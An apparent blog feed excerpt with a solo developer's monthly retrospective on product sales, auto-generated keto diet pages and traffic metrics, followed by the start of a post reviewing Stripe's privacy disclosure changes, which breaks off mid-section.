&lt;p>Lately, I&amp;rsquo;ve been thinking about how to align my personal blog with my business projects. I&amp;rsquo;m often successful at attracting readers to my blog, so it would be great if I could use my blog to get customers interested in some of the products I&amp;rsquo;ve built. This has been hard because most of the products don&amp;rsquo;t match up well with the people who read my blog. I suspected that Portfolio Rebalancer would be different because I expect there&amp;rsquo;s a lot of overlap between software developers and passive investors.&lt;/p>
&lt;p>While building Portfolio Rebalancer, I paid special attention to which parts of the process would make an interesting blog post. When I discovered &lt;a href="https://mtlynch.io/stripe-recording-its-customers/">Stripe&amp;rsquo;s library tracking my users&lt;/a>, I knew I had found an interesting that directly related to the process of building my app.&lt;/p>
&lt;p>The blog post attracted 28k readers over the past two weeks. Portfolio Rebalancer had ~1k visitors in April, and I suspect around 80% of them are the result of my Stripe blog post. But in the end, none of the new visitors purchased subscriptions.&lt;/p>
&lt;p>A few reached the point of signing up for an account, and I reached out to all of them. One user replied that they were interested but felt the price was too high. They said they&amp;rsquo;d feel comfortable paying for it like a mobile app, so $1.99-$4.99 for lifetime access.&lt;/p>
&lt;p>I knew $1.99 was far too low to be viable, but I recognized that $20/month didn&amp;rsquo;t make much sense. Investors who rebalance typically do it once a quarter or once a year, so it felt irrational to pay for the service monthly. I changed pricing to $99 per year with a 7-day free trial, but that didn&amp;rsquo;t change anything.&lt;/p>
&lt;p>I also tried placing Google Ads, but I&amp;rsquo;ve gotten 99 paid clicks (totaling $240), and nearly 100% of them bounced immediately:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/05/rebalancer-bounce-rate.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/05/rebalancer-bounce-rate_hu_a8d2fbe3f38793cd.png 300w, https://mtlynch.io/retrospectives/2020/05/rebalancer-bounce-rate_hu_993c356e901a157a.png 600w, https://mtlynch.io/retrospectives/2020/05/rebalancer-bounce-rate_hu_41b110b3a6baddf7.png 800w, https://mtlynch.io/retrospectives/2020/05/rebalancer-bounce-rate.png 857w'
 src="https://mtlynch.io/retrospectives/2020/05/rebalancer-bounce-rate.png" alt="High bounce rate for paid traffic in Google Analytics" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Nearly 100% of users who visit after clicking a paid ad leave the site immediately.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I haven&amp;rsquo;t given up on Portfolio Rebalancer entirely, but I&amp;rsquo;ve placed it on the backburner to free up time for Is It Keto. It was meant to be a two- or three-week prototype, but creating the payment flow took longer than I expected.&lt;/p>
&lt;h2 id="venturing-into-auto-generated-pages">Venturing into auto-generated pages&lt;/h2>
&lt;p>&lt;a href="https://isitketo.org">Is It Keto&lt;/a> is a site I created in 2018 that answers simple questions around the keto diet. The site and I have an on-again, off-again relationship. My pattern has been to work on the site every few months, get bored, then return again when another project doesn&amp;rsquo;t work out, so here we are again.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/05/isitketo-landing.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/05/isitketo-landing_hu_cf6f5a8d40af6b7f.png 300w, https://mtlynch.io/retrospectives/2020/05/isitketo-landing_hu_f1ad3a006ecb40f8.png 600w, https://mtlynch.io/retrospectives/2020/05/isitketo-landing_hu_7ae12344101f8842.png 800w, https://mtlynch.io/retrospectives/2020/05/isitketo-landing_hu_f1948df00e736cec.png 1200w, https://mtlynch.io/retrospectives/2020/05/isitketo-landing.png 1334w'
 src="https://mtlynch.io/retrospectives/2020/05/isitketo-landing.png" alt="Is It Keto homepage" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://isitketo.org">Is It Keto&lt;/a> is my content site about the keto diet.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>One of the most common questions people ask me about Is It Keto is, &amp;ldquo;Why don&amp;rsquo;t you simply pull in a nutrition database and auto-generate pages for every possible food?&amp;rdquo; I&amp;rsquo;ve always feared the wrath of Google lest I run afoul of their &lt;a href="https://support.google.com/webmasters/answer/2721306?hl=en">rules against auto-generated content&lt;/a>. Google drives almost all of Is It Keto&amp;rsquo;s traffic, so if they brought the hammer down on me, the business would vanish overnight.&lt;/p>
&lt;p>Recently, I had an illuminating conversation with a friend who&amp;rsquo;s had significantly more experience than I have in search engine optimization. He suggested that my fears were unfounded. In his experience, Google only brings down harsh penalties on sites that egregiously try to manipulate search results. I might get in trouble if I used machine learning to auto-generate lots of garbage page text, but if I&amp;rsquo;m simply pulling nutritional data and presenting it in a way that adds value for users on the keto diet, that should be fine by Google.&lt;/p>
&lt;p>My friend predicted that if Google didn&amp;rsquo;t like my auto-generated content, it&amp;rsquo;s more likely that they&amp;rsquo;d simply downrank those particular pages rather than applying a penalty to my entire site.&lt;/p>
&lt;h2 id="chasing-the-long-tail">Chasing the long tail&lt;/h2>
&lt;p>My discovery about auto-generated content got me excited about Is It Keto again. It&amp;rsquo;s been successful at attracting visitors, but I was never able to find a way to make growth profitable. &lt;a href="https://mtlynch.io/hiring-content-writers/">Hiring writers&lt;/a> costs me $50-100 per article, but articles typically earn less than $1/month in revenue, so I could never figure out how to scale the site.&lt;/p>
&lt;p>Page generation would be a gamechanger because it substantially lowers my costs. The cost would be &lt;em>so&lt;/em> low that I could produce articles in the &amp;ldquo;long tail&amp;rdquo; of Google queries that nobody else would bother creating. For example, if you Google &amp;ldquo;are pringles keto?&amp;rdquo; none of the results directly address the question.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 375px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/05/pringles-search.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 375px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/05/pringles-search_hu_9ad3c30a7178824b.png 300w, https://mtlynch.io/retrospectives/2020/05/pringles-search_hu_afa760d79bd6a5b8.png 600w, https://mtlynch.io/retrospectives/2020/05/pringles-search_hu_5c729aa739300d06.png 800w, https://mtlynch.io/retrospectives/2020/05/pringles-search.png 877w'
 src="https://mtlynch.io/retrospectives/2020/05/pringles-search.png" alt="Google search result for &amp;#39;are pringles keto?&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 







&lt;div class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/05/pringles-planner.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/05/pringles-planner_hu_f6d496ca2e6228af.png 300w, https://mtlynch.io/retrospectives/2020/05/pringles-planner.png 568w'
 src="https://mtlynch.io/retrospectives/2020/05/pringles-planner.png" alt="Google keywords planner results for pringles and keto related searches" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Nobody has written articles about whether pringles are keto because the search volume is too low.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>According to Google&amp;rsquo;s &lt;a href="https://ads.google.com/home/tools/keyword-planner/">keyword planner&lt;/a>, there are only ~70 searches per month for searches like &amp;ldquo;are pringles keto?&amp;rdquo; Whoever took the #1 spot would only get ~50 clicks per month. Is It Keto earns ~$0.01 per visitor, meaning the Pringles article would bring in about $6 per year. It&amp;rsquo;s hard to justify the time or cost of crafting a dedicated article for so few readers.&lt;/p>
&lt;p>The equation changes if I can generate entire &lt;em>batches&lt;/em> of articles with roughly the same effort other authors take to generate one article. There are probably 25 different brands and varieties of potato chips that have similar search traffic. If I make a template that covers them all, that&amp;rsquo;s $150 per year in extra revenue, which is a lot more appealing. I can likely re-use most of the content for chips for 1,000 other snack foods, so maybe that&amp;rsquo;s an extra $6k year in revenue. And then what happens when I can do that with 10 other food categories?&lt;/p>
&lt;h2 id="other-examples-of-long-tail-seo">Other examples of long-tail SEO&lt;/h2>
&lt;p>Zapier is a successful product that provides plumbing to connect different apps that are not aware of each other. They used a similar SEO strategy to build their business.&lt;/p>
&lt;p>Zapier generates a dedicated page for every possible combination of their partner apps, so if you search &amp;ldquo;the gift goose + connectwise manage,&amp;rdquo; the top result is Zapier&amp;rsquo;s auto-generated page:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/05/gift-goose-connectwise.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/05/gift-goose-connectwise_hu_de4ded1549407c46.png 300w, https://mtlynch.io/retrospectives/2020/05/gift-goose-connectwise_hu_36f0877d4ceb1c90.png 600w, https://mtlynch.io/retrospectives/2020/05/gift-goose-connectwise_hu_1d91a249cd3c4c41.png 800w, https://mtlynch.io/retrospectives/2020/05/gift-goose-connectwise.png 1031w'
 src="https://mtlynch.io/retrospectives/2020/05/gift-goose-connectwise.png" alt="Screenshot of Zapier&amp;#39;s page for The Gift Goose &amp;#43; ConnectWise" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Zapier ranks highly for thousands of search queries because they auto-generate pages for every pair of applications they support.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>According to &lt;a href="https://ahrefs.com/backlink-checker">Ahrefs&amp;rsquo; backlink checker&lt;/a>, there are zero links to that page, yet it&amp;rsquo;s the #1 search result. Why? Because search volume is so low that nobody else would bother to create a page. But Zapier has templates set up so that it costs them next to nothing to generate a page that perfectly matches the query.&lt;/p>
&lt;h2 id="i-finally-have-an-unfair-advantage">I finally have an unfair advantage&lt;/h2>
&lt;p>&lt;a href="https://gimletmedia.com/startup/">&lt;em>Startup&lt;/em>&lt;/a> is one of my favorite podcasts, and I often think back to this moment in one of the early episodes where the podcast&amp;rsquo;s host and founder was seeking investment from Chris Sacca, a well-known venture capital investor. Sacca asks the host:&lt;/p>
&lt;blockquote>
&lt;p>I want to invest in companies that have an unfair advantage. What&amp;rsquo;s your unfair advantage?&lt;/p>&lt;/blockquote>
&lt;p>One of the reasons I keep abandoning Is It Keto is that it&amp;rsquo;s never played to my strengths. I write well, but too many other keto sites have good writers for me to win on that front. I consider myself a good developer, but software has never played a key role in the site. A non-developer could have produced essentially the same thing with WordPress or Squarespace.&lt;/p>
&lt;p>Pivoting to auto-generated pages gives me an advantage over other keto sites because none of them seem to have developers on staff. They probably have developers that help them maintain their WordPress setups or to create one-off tools like a keto calculator. Those things are in a different category of software engineering than what I&amp;rsquo;d be doing, which is creating and maintaining a data pipeline that runs smoothly for years. And that&amp;rsquo;s great because that&amp;rsquo;s the type of development I do best.&lt;/p>
&lt;p>Another advantage is that I already have a database of nutritional information. The USDA offers &lt;a href="https://fdc.nal.usda.gov/">a free, open database of food data&lt;/a>, but their search is terrible. A query like &amp;ldquo;apples&amp;rdquo; &lt;a href="https://fdc.nal.usda.gov/food-search?query=apples&amp;amp;type=Branded">yields 17,000 results&lt;/a>, so you have to pick through to find the most appropriate match. I went through this process for &lt;a href="https://zestfuldata.com">Zestful&lt;/a>, so I already have coverage for most foods.&lt;/p>
&lt;h2 id="what-it-will-look-like">What it will look like&lt;/h2>
&lt;p>I&amp;rsquo;ve already begun auto-generating content for Is It Keto. I&amp;rsquo;ve created 13 new articles about fruits I had never covered. Fruits are the easiest articles because they require no analysis of artificial ingredients, so the article is usually a straightforward, &amp;ldquo;No, it&amp;rsquo;s not keto-friendly.&amp;rdquo;&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/05/apricots-dates.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/05/apricots-dates_hu_c01ec5de1d60f2c2.png 300w, https://mtlynch.io/retrospectives/2020/05/apricots-dates_hu_28f943b20ebd3e96.png 600w, https://mtlynch.io/retrospectives/2020/05/apricots-dates_hu_7dbca5104d6e5072.png 800w, https://mtlynch.io/retrospectives/2020/05/apricots-dates_hu_487759c2004c2c67.png 1200w, https://mtlynch.io/retrospectives/2020/05/apricots-dates.png 2703w'
 src="https://mtlynch.io/retrospectives/2020/05/apricots-dates.png" alt="Cover image for Ahrefs&amp;#39; Blogging for Business Course" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I&amp;rsquo;ve begun auto-generating pages based on each food&amp;rsquo;s nutritional information.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;ve set it up so that I can improve my templates over time, then simply re-run my pipeline to update all previously-generated articles.&lt;/p>
&lt;p>One of the most popular pages on Is It Keto is &lt;a href="https://isitketo.org/russell-stover-sugar-free-chocolate-candy">&amp;ldquo;Is Russell Stover Sugar-Free Chocolate Candy Keto?&amp;rdquo;&lt;/a> I wrote that article by hand, but re-reading it today, I could largely re-use the content to build a template for other chocolates and candies:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 850px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/05/templatizing-articles.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 850px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/05/templatizing-articles_hu_2bd57630d55eb46c.png 300w, https://mtlynch.io/retrospectives/2020/05/templatizing-articles_hu_f42f05383a898ea9.png 600w, https://mtlynch.io/retrospectives/2020/05/templatizing-articles_hu_851cc2cec6f085dc.png 800w, https://mtlynch.io/retrospectives/2020/05/templatizing-articles.png 1186w'
 src="https://mtlynch.io/retrospectives/2020/05/templatizing-articles.png" alt="Cover image for Ahrefs&amp;#39; Blogging for Business Course" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>How I could recycle content from my &lt;a href="https://isitketo.org/russell-stover-sugar-free-chocolate-candy">Russell Stover Sugar-Free Chocolate&lt;/a> page into dozens of articles about similar foods&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>March 2020&lt;/th>
 &lt;th>April 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>291&lt;/td>
 &lt;td>1,142&lt;/td>
 &lt;td>&lt;font color="green">+851 (+292%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>843&lt;/td>
 &lt;td>2,960&lt;/td>
 &lt;td>&lt;font color="green">+2,117 (+251%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Earnings&lt;/td>
 &lt;td>$3.67&lt;/td>
 &lt;td>$32.19&lt;/td>
 &lt;td>&lt;font color="green">+$28.52 (+777%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$3.67&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$32.19&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$28.52 (+777%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful had an odd jump in traffic because a Chinese blog published an unauthorized translation of my article, &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">&amp;ldquo;My Second Year as a Solo Developer,&amp;rdquo;&lt;/a> and I guess it gained enough traction that people clicked through to Zestful. It didn&amp;rsquo;t seem to translate into any sales, though.&lt;/p>
&lt;p>Month-over-month sales increased, but Zestful is historically bursty. Anything from $0 to $100 in monthly revenue is normal.&lt;/p>
&lt;h3 id="what-got-done">&lt;a href="https://whatgotdone.com">What Got Done&lt;/a>&lt;/h3>
&lt;p>What Got Done is my weekly work journaling app. I tried to build it into a business last year but relegated it to &amp;ldquo;hobby project&amp;rdquo; status after it &lt;a href="https://mtlynch.io/retrospectives/2019/08/">failed to gain traction&lt;/a>. I still use it regularly myself, and I sometimes add features on weekends or evenings.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/05/recent-wgt.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/05/recent-wgt_hu_5100ccd6d9cd2596.png 300w, https://mtlynch.io/retrospectives/2020/05/recent-wgt_hu_5b8d0c32db82d8bd.png 600w, https://mtlynch.io/retrospectives/2020/05/recent-wgt_hu_7e665914fd3a02d4.png 800w, https://mtlynch.io/retrospectives/2020/05/recent-wgt_hu_81a8b82140d69991.png 1200w, https://mtlynch.io/retrospectives/2020/05/recent-wgt.png 1334w'
 src="https://mtlynch.io/retrospectives/2020/05/recent-wgt.png" alt="Screenshot of What Got Done recent updates" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>What Got Done is my weekly task journaling site.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Recently, I was looking at my &lt;a href="https://userkit.io/">user dashboard&lt;/a> and noticed that the site had 370 registered users. On average, the site gets one new user every day:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/05/whatgotdone-april-signups.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/05/whatgotdone-april-signups_hu_6982927340f70945.png 300w, https://mtlynch.io/retrospectives/2020/05/whatgotdone-april-signups_hu_2386d0c0457d9378.png 600w, https://mtlynch.io/retrospectives/2020/05/whatgotdone-april-signups.png 701w'
 src="https://mtlynch.io/retrospectives/2020/05/whatgotdone-april-signups.png" alt="Graph of 2-3 signups per day throughout April" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>What Got Done averages about one new user signup per day.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The problem is that, of these 370 registered users, the total number who actually use the site is about&amp;hellip; five.&lt;/p>
&lt;p>Users sign up and then immediately abandon the app. Sometimes they&amp;rsquo;ll post updates for a week or two, but they almost always end up fading away within weeks. With so many people interested enough to sign up, I feel like my failure to retain them is a huge missed opportunity to grow the site.&lt;/p>
&lt;p>I suspect two main causes:&lt;/p>
&lt;ul>
&lt;li>Lack of onboarding&lt;/li>
&lt;li>Failure to support habit-building&lt;/li>
&lt;/ul>
&lt;p>One of the most valuable pieces of feedback &lt;a href="https://www.dkthehuman.com/">my friend DK&lt;/a> gave me after testing out my app was that the signup process &lt;a href="https://youtu.be/JnAAkjS4x6k?t=430">left him feeling lost&lt;/a>. The &lt;a href="https://youtu.be/JnAAkjS4x6k?t=240">first thing&lt;/a> a user sees after registering is a giant blank textbox and vague instructions about how to fill it. I could certainly do more to help the user create updates in smaller, incremental steps so that it doesn&amp;rsquo;t feel like such an overwhelming task.&lt;/p>
&lt;p>The other problem is that What Got Done generates the most value for people who use it consistently, but it offers no tools to help people build a habit of using the site. I could fix this by introducing options to get email reminders or calendar events. I could also reward users for consistent participation via points or badges.&lt;/p>
&lt;h2 id="interesting-discoveries">Interesting discoveries&lt;/h2>
&lt;h3 id="ahrefs-academy-blogging-for-business">&lt;a href="https://ahrefs.com/academy/blogging-for-business/">Ahrefs Academy: Blogging for Business&lt;/a>&lt;/h3>
&lt;p>In response to COVID-19, Ahrefs released their $800 course on content marketing &lt;a href="https://twitter.com/timsoulo/status/1240151594328621056">for free&lt;/a>. I generally prefer to learn by reading rather than watching online videos, but I&amp;rsquo;ve been impressed with this series.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://ahrefs.com/academy/blogging-for-business/">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/05/blogging-for-business_hu_31a9955b4314abc.jpg 300w, https://mtlynch.io/retrospectives/2020/05/blogging-for-business_hu_d17756b84d80738c.jpg 600w, https://mtlynch.io/retrospectives/2020/05/blogging-for-business.jpg 680w'
 src="https://mtlynch.io/retrospectives/2020/05/blogging-for-business.jpg" alt="Cover image for Ahrefs&amp;#39; Blogging for Business Course" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>In March, Ahrefs released &lt;a href="https://ahrefs.com/academy/blogging-for-business/">their premium content marketing course&lt;/a> for free.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>One lesson from the video that hit home for me is that &lt;a href="https://youtu.be/y5kQXogrLN0?t=53">traffic is a vanity metric&lt;/a>. If you&amp;rsquo;re blogging as part of your business, the number of visitors you attract is only an intermediate goal to something else, like selling products or acquiring new customers. I experienced exactly this &lt;a href="#portfolio-rebalancer-has-lots-of-visitors-but-no-sales">with Portfolio Rebalancer&lt;/a>; it was great to attract 1,000 visitors in its first month, but the volume itself isn&amp;rsquo;t much to celebrate without accompanying revenue or signups.&lt;/p>
&lt;p>The series itself is a fantastic example of elegant content marketing. Throughout the course, they&amp;rsquo;re suggesting strategies of planning your content to attract search traffic, and then they always show Ahrefs tools that can help. They build credibility by sharing useful information; so, when they show you their tool, you trust that it&amp;rsquo;s helpful.&lt;/p>
&lt;p>Companies often get this backward; they start with their own product and show you all the ways it can help you. That turns people off because the company hasn&amp;rsquo;t yet earned the viewer&amp;rsquo;s trust, so the content just feels like advertising.&lt;/p>
&lt;p>Ahrefs &lt;a href="https://twitter.com/slagter/status/1240197698525028352">is undecided&lt;/a> about how long the course will remain free, so I&amp;rsquo;ve archived my copy for future reference.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done-1">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published two blog posts that reached the front page of Hacker News.
&lt;ul>
&lt;li>This continues my lucky streak on Hacker News with &lt;a href="https://news.ycombinator.com/from?site=mtlynch.io">five frontpage articles in the last four months&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Launched the paid version of &lt;a href="https://rebalancer.mtlynch.io">Portfolio Rebalancer&lt;/a>.&lt;/li>
&lt;li>Put infrastructure in place to generate new &lt;a href="https://isitketo.org">Is It Keto&lt;/a> articles automatically.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Traffic is a vanity metric.&lt;/li>
&lt;li>Auto-generating pages in a useful way gives developer-authors an advantage over authors who use generic publishing platforms like WordPress.
&lt;ul>
&lt;li>This is still a theory, so we&amp;rsquo;ll see if I can make it work.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Add 100 new articles to Is It Keto (a ~50% increase in the current corpus size).&lt;/li>
&lt;li>Publish one new blog post.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Update: Stripe's Response Regarding User Tracking</title><link>https://mtlynch.io/stripe-update/</link><pubDate>Thu, 30 Apr 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/stripe-update/</guid><description>&lt;p>Last week, I &lt;a href="https://mtlynch.io/stripe-recording-its-customers/">published a blog post&lt;/a> describing how Stripe recorded visitor behavior on their customers&amp;rsquo; websites. In short, Stripe&amp;rsquo;s JavaScript library collected information about URLs users visited and telemetry about their mouse movements, even when the site never displayed any Stripe payment forms. I suspected that most Stripe customers were unaware of this and argued that Stripe should disclose their data gathering practices more prominently and in greater detail.&lt;/p>
&lt;p>The post generated &lt;a href="https://news.ycombinator.com/item?id=22936818">a lively discussion on Hacker News&lt;/a>, including several comments from Patrick Collison, Stripe&amp;rsquo;s co-founder and CEO. In his &lt;a href="https://news.ycombinator.com/item?id=22937303">top comment&lt;/a>, he said:&lt;/p></description><content:encoded>&lt;p>Last week, I &lt;a href="https://mtlynch.io/stripe-recording-its-customers/">published a blog post&lt;/a> describing how Stripe recorded visitor behavior on their customers&amp;rsquo; websites. In short, Stripe&amp;rsquo;s JavaScript library collected information about URLs users visited and telemetry about their mouse movements, even when the site never displayed any Stripe payment forms. I suspected that most Stripe customers were unaware of this and argued that Stripe should disclose their data gathering practices more prominently and in greater detail.&lt;/p>
&lt;p>The post generated &lt;a href="https://news.ycombinator.com/item?id=22936818">a lively discussion on Hacker News&lt;/a>, including several comments from Patrick Collison, Stripe&amp;rsquo;s co-founder and CEO. In his &lt;a href="https://news.ycombinator.com/item?id=22937303">top comment&lt;/a>, he said:&lt;/p>
&lt;blockquote>
&lt;p>The question raised (&amp;ldquo;Is Stripe collecting this data for advertising?&amp;rdquo;) can be readily answered in the negative. This data has never been, would never be, and will never be sold/rented/etc. to advertisers.&lt;/p>&lt;/blockquote>
&lt;p>Several commenters responded that they appreciated his assurances but wanted to see official and binding language in Stripe&amp;rsquo;s &lt;a href="https://stripe.com/legal">terms of service&lt;/a> and &lt;a href="https://stripe.com/privacy">privacy policy&lt;/a>.&lt;/p>
&lt;p>Less than a week after my article came out, Stripe &lt;a href="https://stripe.com/blog/advanced-fraud-detection-updates">published a blog post&lt;/a> outlining the changes they had made to better disclose their data collection practices and guarantees around user privacy.&lt;/p>













 

 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 731px">



 &lt;a href="https://stripe.com/blog/advanced-fraud-detection-updates">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 731px, 98vw"
 srcset='https://mtlynch.io/stripe-update/stripe-blog_hu_a5881b958b548b74.png 300w, https://mtlynch.io/stripe-update/stripe-blog_hu_fb66dbb11b21cf69.png 600w, https://mtlynch.io/stripe-update/stripe-blog.png 729w'
 src="https://mtlynch.io/stripe-update/stripe-blog.png" alt="Screenshot of Stripe&amp;#39;s blog post" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I&amp;rsquo;ve reviewed their new documentation, and I&amp;rsquo;ll discuss how well Stripe&amp;rsquo;s changes address the issues I raised.&lt;/p>
&lt;h2 id="stripes-changes">Stripe&amp;rsquo;s changes&lt;/h2>
&lt;h3 id="developer-documentation-explicitly-discloses-tracking-functionality">Developer documentation explicitly discloses tracking functionality&lt;/h3>
&lt;p>To me, the most significant change is that Stripe&amp;rsquo;s developer documentation now discloses their JavaScript library&amp;rsquo;s tracking behavior. Prior to yesterday&amp;rsquo;s changes, the only hints were &lt;a href="https://github.com/stripe/stripe-js/blob/d401405a0106f5a28e45cbad9f5c674697c1117a/README.md#ensuring-stripejs-is-available-everywhere">these two sentences&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>To best leverage Stripe&amp;rsquo;s advanced fraud functionality, ensure that Stripe.js is loaded on every page, not just your checkout page. This allows Stripe to detect anomalous behavior that may be indicative of fraud as customers browse your website.&lt;/p>&lt;/blockquote>
&lt;p>This omitted critical information and failed to communicate what information the library collected and how it shared that data with Stripe&amp;rsquo;s servers.&lt;/p>
&lt;p>In Stripe&amp;rsquo;s current documentation, the library includes a section called &lt;a href="https://github.com/stripe/stripe-js#disabling-advanced-fraud-detection-signals">&amp;ldquo;Disabling advanced fraud detection signals,&amp;rdquo;&lt;/a> which links to a webpage that &lt;a href="https://stripe.com/docs/disputes/prevention/advanced-fraud-detection">defines explicitly&lt;/a> the types of information Stripe collects for fraud prevention.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/stripe-update/stripe-signals-docs.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/stripe-update/stripe-signals-docs_hu_7f5300217b62dd6f.png 300w, https://mtlynch.io/stripe-update/stripe-signals-docs_hu_7349e58293ea0288.png 600w, https://mtlynch.io/stripe-update/stripe-signals-docs_hu_fd2cc3ae1229d27d.png 800w, https://mtlynch.io/stripe-update/stripe-signals-docs.png 1073w'
 src="https://mtlynch.io/stripe-update/stripe-signals-docs.png" alt="Screenshot of Stripe&amp;#39;s fraud detection documentation" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Stripe&amp;rsquo;s new &lt;a href="https://stripe.com/docs/disputes/prevention/advanced-fraud-detection">fraud detection documentation&lt;/a> is more explicit about how Stripe collects user data.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="stripe-clients-have-the-option-to-disable-tracking">Stripe clients have the option to disable tracking&lt;/h3>
&lt;p>Stripe updated their JavaScript library to give clients the ability to opt-out of deep data collection. They can now load the &lt;code>&amp;lt;script&amp;gt;&lt;/code> tag with the &lt;code>advancedFraudSignals=false&lt;/code> parameter to disable this functionality:&lt;/p>
